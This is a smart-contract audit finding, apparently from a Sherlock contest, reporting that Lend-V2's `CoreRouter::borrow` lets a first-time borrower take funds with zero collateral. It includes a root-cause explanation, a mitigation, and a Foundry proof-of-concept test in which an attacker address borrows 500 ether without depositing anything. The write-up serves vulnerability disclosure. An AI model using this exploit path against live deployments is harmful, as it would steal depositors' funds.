Dandy Fiery Alligator

High

# [H-03] - Anyone can steal funds on their first borrow without depositing any collateral

### Summary

Any borrower can borrow any amount of funds up to the available maximum from an available token on their first borrow in `CoreRouter::borrow`. 

This is because the check in `CoreRouter::borrow` calculates the `borrowAmount` based on the current index. If the borrower does not have any outstanding borrows, the `currentBorrow.borrowIndex` is 0 and then `borrowAmount` will evaluate to 0. Then the `collateral` will always pass the >= check, even if it is 0.

This allows an attacker to simply call `CoreRouter::borrow` on any token and borrow up to the maximum available amount against the token, leaving the protocol with bad debt and lenders at a loss.

### Root Cause

Lines 152-161 in `CoreRouter::borrow` first calculates the `borrowed` and `collateral` amounts from the `getHypotheticalAccountLiquidityCollateral` method. It then looks at the borrowers current borrow index and applies it to the currently borrowed and requested borrow amount (`borrowed` that is returned). 

The issue is in the ternary operator starting on line 157, if the borrower has no current borrows, the `borrowIndex` will be 0 and the entire expression will end up setting the `borrowAmount` to 0 instead of leaving it as `borrowed`. Now the `collateral` will always pass the >= 0 check (even if it's 0!). 

https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L152-L161

### Internal Pre-conditions

1. There needs to be available balance to borrow from the protocol (expected)

### External Pre-conditions

N/A

### Attack Path

1. Attacker has a fresh address with no borrows and identifies a token available for borrowing
2. Call `CoreRouter::borrow` on the token for the available maximum borrow amount

### Impact

This is a critical error as it allows anyone to take tokens for free without providing collateral. Can lead to a complete loss of funds for depositors. 

### PoC

This is a basic POC that shows anybody can just borrow against the pool for free. Add this as `TestFirstBorrow.t.sol` to a folder called `poc` in `test` and run `forge test --match-test test_first_borrow -vvvv`. In the stack trace you will see the `BorrowState` return with a `borrowIndex` of 0. 

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test, console} from "forge-std/Test.sol";
import {Deploy} from "../../script/Deploy.s.sol";
import {HelperConfig} from "../../script/HelperConfig.s.sol";
import {CrossChainRouterMock} from "../mocks/CrossChainRouterMock.sol";
import {CoreRouter} from "../../src/LayerZero/CoreRouter.sol";
import {LendStorage} from "../../src/LayerZero/LendStorage.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {Lendtroller} from "../../src/Lendtroller.sol";
import {InterestRateModel} from "../../src/InterestRateModel.sol";
import {SimplePriceOracle} from "../../src/SimplePriceOracle.sol";
import {LTokenInterface} from "../../src/LTokenInterfaces.sol";
import {LToken} from "../../src/LToken.sol";
import "@layerzerolabs/lz-evm-oapp-v2/test/TestHelper.sol";

contract TestFirstDepositor is Test {
    HelperConfig public helperConfig;
    address public layerZeroEndpoint;
    address[] public supportedTokens;
    bool public isTestnet;
    address public deployer;
    address public attacker;
    address public lender;

    CrossChainRouterMock public router;
    LendStorage public lendStorage;
    CoreRouter public coreRouter;
    Lendtroller public lendtroller;
    InterestRateModel public interestRateModel;
    SimplePriceOracle public priceOracle;

    TestHelper public testHelper;

    address[] public lTokens;

    // Events to test
    event BorrowSuccess(address indexed borrower, address indexed lToken, uint256 accountBorrow);

    function setUp() public {
        deployer = makeAddr("deployer");
        attacker = makeAddr("attacker");
        lender = makeAddr("lender");

        // Deploy the entire protocol
        Deploy deploy = new Deploy();
        (
            address priceOracleAddress,
            address lendtrollerAddress,
            address interestRateModelAddress,
            address[] memory lTokenAddresses,
            address payable routerAddress,
            address payable coreRouterAddress,
            address lendStorageAddress,
            address _layerZeroEndpoint,
            address[] memory _supportedTokens
        ) = deploy.run();

        // Store the values in contract state variables
        router = CrossChainRouterMock(routerAddress);
        lendStorage = LendStorage(lendStorageAddress);
        coreRouter = CoreRouter(coreRouterAddress);
        lendtroller = Lendtroller(lendtrollerAddress);
        interestRateModel = InterestRateModel(interestRateModelAddress);
        priceOracle = SimplePriceOracle(priceOracleAddress);
        lTokens = lTokenAddresses;
        layerZeroEndpoint = _layerZeroEndpoint;
        supportedTokens = _supportedTokens;

        testHelper = TestHelper(payable(layerZeroEndpoint));

        // Set up initial prices for supported tokens
        for (uint256 i = 0; i < supportedTokens.length; i++) {
            priceOracle.setDirectPrice(supportedTokens[i], 1e18);
        }
    }

    function test_first_borrow() public {
        address borrowToken = supportedTokens[0];
        address lToken = lendStorage.underlyingTolToken(borrowToken);
        ERC20Mock(borrowToken).mint(lender, 1000 ether);

        vm.startPrank(lender);
        IERC20(borrowToken).approve(address(coreRouter), 1000 ether);
        coreRouter.supply(1000 ether, borrowToken);
        vm.stopPrank();

        vm.startPrank(attacker);
        coreRouter.borrow(500 ether, borrowToken);
        vm.stopPrank();

        console.log("Attacker Token Balance: ", IERC20(borrowToken).balanceOf(attacker));
    }
}
```

### Mitigation

The ternary operator on line 157 of `CoreRouter::borrow` should not set the `borrowedAmount` to 0, but as `borrowed`.